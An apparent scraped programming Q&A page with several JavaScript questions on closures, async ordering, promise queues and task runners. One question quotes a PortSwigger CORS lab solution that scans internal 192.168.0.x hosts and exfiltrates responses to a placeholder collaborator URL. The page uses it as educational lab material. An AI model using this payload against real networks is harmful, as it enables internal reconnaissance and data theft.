Got take-home assignment:
"You need to build a stub for fetch(url) function, which will fail n requests and starting from n+1 will fetch data successfully. Must be way to configure it passing number of requests to be failed (n, required) and optional parameter 'time to wait before resolve/reject'. Also must be the way to reset the request counter invoking fetch.reset(). Just as original fetch(), function should return Promise."
So, we need fetch-like function with a functionality mentioned above. Problem is with fetch.reset() method. Can't figure out how I can attach function to callback function.
So, no problem with all of these except for fetch.reset().
function outer (num, time) {
let count = 1;
return function fetchIt() {
return new Promise((resolve, reject) => {
if (count > num) {
count++;
setTimeout(()=>{resolve('ok');}, time * 1000) // here actual data will be returned/resolved
} else {
count++;
setTimeout(()=>{reject();}, time * 1000)
}
})
}
}
let newFetch = outer(2, 2);
newFetch().then(()=>console.log('ok'), ()=>console.log('not ok')); // 'not ok'
newFetch().then(()=>console.log('ok'), ()=>console.log('not ok')); // 'not ok'
newFetch().then(()=>console.log('ok'), ()=>console.log('not ok')); // 'ok'
Now, how can i make newFetch.reset() method to reset counter to 1?
Tried prototype - nope. I think problems are with accessing inner function from outer scope.
Plunk for this stuff:
http://plnkr.co/edit/FiXKyDJ1E2cv8LuUMxRM
Assign fetchIt to a variable before returning, then add the function on there:
function outer (num, time) {
...
let fetchIt = function fetchIt() {
...
}
fetchIt.reset = function reset() {
count = 1 // Or whatever you need to do
}
return fetchIt
}
Related
I am quite new to JavaScript and have a task for generating numbers in order of the functions being called with the use of callbacks.
The exercise should be done with a variable outside of the functions which should hold the returned values.
The starting code is as follows:
function asynchronousResponse(value, callback) {
var delay = Math.floor(Math.random() * 10) * 1000;
setTimeout(() => callback(value), delay);
}
function getAsyncNumber(number) {
/*
Add implementation of getAsyncNumber function in a way that numbers
appear on a console in order in which they have been called.
Use asynchronousResponse to generate this responses.
*/
}
getAsyncNumber(0);
getAsyncNumber(1);
getAsyncNumber(2);
getAsyncNumber(3);
getAsyncNumber(4);
I am not clear on how this is supposed to work and how to check if the previous numbers have alreay been called out.
The callback inside setTimeout is going to run in an async manner. Making use of the asynchronousResponse we can pass our own function as a callback. Notice the statement setTimeout(() => callback(value), delay);, this callback function will have access to our value and we can make use of that.
The implementation:
Now the idea is to keep storing the values as the functions are called. That way we have the definite order of our calls to getAsyncNumber. I think this refers to the variable outside the function which holds the returned values. We also keep a field for the status of the items. So we have an array of objects like {status,value}.
We update our array as our callbacks are called, but never log the resolved values. We only log something based on certain conditions. ONLY WHEN IT IS READY. Any resolved value will only be ready when everything before it is either already logged or in READY
state.
Whenever any callback is called and returns a value, we check whether everything before the item is done, if yes, then we log the resolved value. If everything before it is in ready state, we log them too and then log our resolved value.
There is an edge case, where some items later in order are ready but they do not get logged. So as a cleanup, we keep track of the number of resolved values too using a counter variable. If all our items have been resolved then we just log everything in the array that is still in READY state.
Here is a working code:
function asynchronousResponse(value, callback) {
var delay = Math.floor(Math.random() * 10) * 1000;
setTimeout(() => callback(value), delay);
}
const vals = [];
let resolved = 0;
function getAsyncNumber(number) {
vals[vals.length] = {status : "NOT_READY", number };
const func = () => {
resolved++;
let ready = 0;
let found = -1;
for (let i = 0 ; i < vals.length;i++) {
if (vals[i].number === number) {
found = i;
if (ready === i) {
vals[i] = {status : "DONE", number : vals[i].number}
for (let j= 0 ; j < i;j++) {
if (vals[j].status === "READY") {
vals[j] = {status : "DONE", number : vals[j].number}
console.log(vals[j].number);
}
}
console.log(number);
} else {
vals[i] = {status : "READY", number : vals[i].number}
}
} else if(found === -1) {
if (vals[i].status === "READY" || vals[i].status === "DONE" ) {
ready++;
}
}
}
if (resolved === vals.length) {
for (let i = 0 ;i < vals.length;i++) {
if (vals[i].status === "READY") {
console.log(vals[i].number);
}
}
}
}
asynchronousResponse(number,func);
}
getAsyncNumber('a');
getAsyncNumber('b');
getAsyncNumber(2);
getAsyncNumber(3);
getAsyncNumber(4);
getAsyncNumber('5');
I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer.
The snippet is this:
var q = [],
collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
q.push(
function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
if (q.length) q.shift()(i * 100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(),
signal = controller.signal;
fetch(url, {
signal
}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
}))
.catch(e => {
if (q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if (q.length) {
q.shift()(wait);
}
}, wait);
}
What I am having problems with is the following:
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does
('http://192.168.0.'+i+':8080')
links to the push function.
Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.
So, it could also be written like this:
function urlToFunc(url) {
return function(wait) { fetchUrl(url, wait); }
}
// later on
q.push(urlToFunc('http://192.168.0.'+i+':8080'));
.push simply adds the function returned by that funcion to the array q.
Another way to write it, which is less confusing imo, is like so:
q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });
What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:
The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')
The wait, which is the argument the array item is called with later (like in q.shift()(wait);)
It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:
for (let i = 1; i <= 255; i++) {
q.push(
function(wait) {
fetchUrl('http://192.168.0.' + i + ':8080', wait);
}
);
}
This is equivalent to the original snippet.
I'm trying to solve this async problem. I got the problem working.
However, after calling "done" callback it's throwing an error. I don't know why.
Issue:
I want to print the task number once "Done" is invoked.
But it throws an
error saying TypeError: "callback" argument must be a function
Problem:
A "TaskRunner" Constructor takes one argument, "concurrency", and
exposes one method "push" on its prototype. The "push" method takes
one argument "task" which is a "function"
Passing a task to a push method of a TaskRunner instance should
immediately execute (call/run/invoke) the task, unless the number
of currently running tasks exceeds the concurrency limit.
function TaskRunner(concurrency) {
this.count = concurrency;
this.queue = [];
}
TaskRunner.prototype.push = function(task) {
if (this.count === 0) {
this.queue.push(task);
} else {
this.invoke(task);
}
}
TaskRunner.prototype.invoke = function(task) {
task.call(null, this.done.bind(this));
this.count--;
}
TaskRunner.prototype.done = function(num) {
console.log(`After Executing done: ${num}`)
this.count++;
this.execute();
}
TaskRunner.prototype.execute = function() {
if (this.queue.length > 0) {
var task = this.queue.shift();
this.invoke(task);
}
}
function factory(num) {
return function exampleSimpleTask(done) {
this.num = num;
console.log("task", "Before " + new Date().getTime());
setTimeout(done(num), 2000);
}
}
var r = new TaskRunner(2);
r.push(factory(1));
r.push(factory(2));
r.push(factory(3));
EDIT: For some reason, on jsfiddle it runs fine but when I run the same code on my local it fails.
Please help.
You are passing the setTimeout the result of you function:
setTimeout(done(num), 2000);
This will call done(num) immediately and setTimeout will try to call whatever done() returned as through it were a function.
You should pass it a function that it can call instead:
setTimeout(() => done(num), 2000);
or [as #JaromandaX points out in the comment] you can take advantage of the options third argument of setTimeOut which will be passed into the callback function:
setTimeout(done, 2000, num);
this will call the function done and pass in num
suppose I've a function fetch(id).
I would be calling it arbitrarily at random times.
But I want every successive call to run only after previous call has finished.
say the async task takes 4 seconds, and i call fetch 3 times. then total time should be 12 seconds.
I could make a array and at every call set promise to go through next in line.
but what are some ways to accomplish this.
I think I got it
//First my example function which could be anything but should return promise which would be queued
function example(n) {
return new Promise((res, rej) => {
setTimeout(()=> {
console.log(n);
res();
}, 1000);
});
}
//now solution
function debounce(func) {
let p = Promise.resolve();
return function(x){
p = p.then(() => func(x));
}
}
//usage
d = debounce(example);
d(1);d(2);d(3);d(4);d(5);d(6);d(1);
You can chain Promises without an array, just store a pointer to the last Promise
// async payload function
// returns a promise
function f(x) {
console.log(`call f(${x})`);
return new Promise((resolve) => {
setTimeout(() => {
console.log(`resolve f(${x})`);
resolve();
}, 2000);
});
}
// wrapper to call function `f` sequentially
// stores pointer to the last Promise in closure
const g = (function(){
let lastPromise = Promise.resolve();
return function(arg){
lastPromise = lastPromise.then(() => f(arg));
}
})();
// generate random calls of function function `g`
for (let i = 0; i < 5; i++) {
setTimeout(() => g(i), Math.random() * 100);
}
I guess you can use async.io library.
Or, each time you want to call your function, push the function itself in an array. When the previous function has finished, check if there is still some functions to call in the array.
Eslint warns me not to define functions inside of for loops and I know it does so because it would define that function for every iteration which is obviously bad. However in my case I am not sure how I could rewrite the code so that this is not necessary anymore.
function refreshProfiles(job, done) {
let isFinished = false
for (let i = 0; i < 100; i++) {
// Get PlayerProfile promise and snapshot these
const p = PlayerProfile.findOneAndUpdate(filter, updateDoc).then((profile) => {
if (!profile) {
isFinished = true
}
return refreshPlayerProfileIntoHistory(profile)
}).catch((err) => {
// Error handling
})
promiseArray.push(p)
}
return Promise.all(promiseArray).then(() => {
// Recursive function call if we are not finished yet
if (isFinished) {
done()
} else {
// Recursive function call
refreshProfiles()
}
})
}
TL;DR what the code does: It should stop with recursive function calls once it can't find profiles anymore.
Question:
How can I avoid defining the function in a for loop for this specific case where I would need to access a variable (the isFinished bool) which lives outside of the function I am defining in the loop?
Move the isFinished flag and the function out of refreshProfiles and into the parent closure (so that both functions have access to it). Be sure to reset isFinished to false whenever the function is first called externally.